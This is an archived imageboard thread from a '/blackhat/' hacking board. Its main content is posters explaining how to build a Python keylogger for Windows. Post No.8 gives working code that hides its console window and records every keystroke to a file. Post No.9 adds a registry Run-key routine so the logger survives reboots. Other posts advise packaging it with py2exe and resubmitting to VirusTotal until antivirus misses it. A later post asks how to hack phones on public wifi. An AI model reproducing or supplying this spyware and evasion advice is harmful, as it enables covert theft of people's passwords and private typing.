[ home / board list / faq / random / create / bans / search / manage / irc ] [ ]

/blackhat/ - BlackHat

True Hacker Ethos

Catalog

See 8chan's new software in development (discuss) (help out)
Infinity Next Beta period has started, click here for info or go directly to beta.8ch.net
Email
Comment *
File
* = required field[▶ Show post options & limits]
Confused? See the FAQ.
Embed
(replaces files and can be used instead)
Options
Password (For file and post deletion.)

Allowed file types:jpg, jpeg, gif, png, webm, mp4, pdf
Max filesize is 8 MB.
Max image dimensions are 10000 x 10000.
You may upload 1 per post.


 No.2

As this is a teaching forum I'm curious about what types of subjects we should cover. Does anyone have something they wish someone would explain to them that seems like a mystery they can't get information about? I'd be happy to discuss it.

 No.3

How would you go about making a key logger in Python?


 No.5

>>3

On Win32 I would probably start by looking at PyHook. Python makes a good choice for windows if you can produce a binary executable with like py2exe as most AV scanners won't pick it up. On x11 you can use xlib directly to do it.


 No.6

>>5

it's surprisingly easy on windows in python https://www.youtube.com/watch?v=8BiOPBsXh0g


 No.7

if you use winreg in python you can open the registry and edit the user's runkeys so the keylogger starts when they login. you'll need a routine that copies the keylogger someplace static to reference it in the runkeys. then you could probably do like py2exe on it and pass the result to virustotal to see if it passes an av scan, then regenerate it.


 No.8


import win32api
import win32console
import win32gui
import pythoncom,pyHook

win=win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)

def OnKeyboardEvent(event):
if event.Ascii==5:
_exit(1)
if event.Ascii !=0 or 8:
f=open('c:\output.txt','r+')
buffer=f.read()
f.close()
f=open('c:\output.txt','w')
keylogs=chr(event.Ascii)
if event.Ascii==13:
keylogs='/n'
buffer+=keylogs
f.write(buffer)
f.close()
hm=pyHook.HookManager()
hm.KeyDown=OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()


 No.9


code to add runkey for startup

def addRunKey():
fp=os.path.dirname(os.path.realpath(__file__))
file_name=sys.argv[0].split("\\")[-1]
new_file_path=fp+"\\"+file_name
keyVal= r'Software\Microsoft\Windows\CurrentVersion\Run'

key2change= OpenKey(HKEY_CURRENT_USER,
keyVal,0,KEY_ALL_ACCESS)

SetValueEx(key2change, " Keylogger",0,REG_SZ, new_file_path)


 No.14

>>2 virtualized hacking. I wondering what the limits are when it comes to a vm.


 No.16

I'm trying to get some tutorials and other stuff I can learn to hack into Android/ios with linux kali. Phones connected to public/my wifi.




[Return][Go to top][Catalog][Post a Reply]
Delete Post [ ]
[]
[ home / board list / faq / random / create / bans / search / manage / irc ] [ ]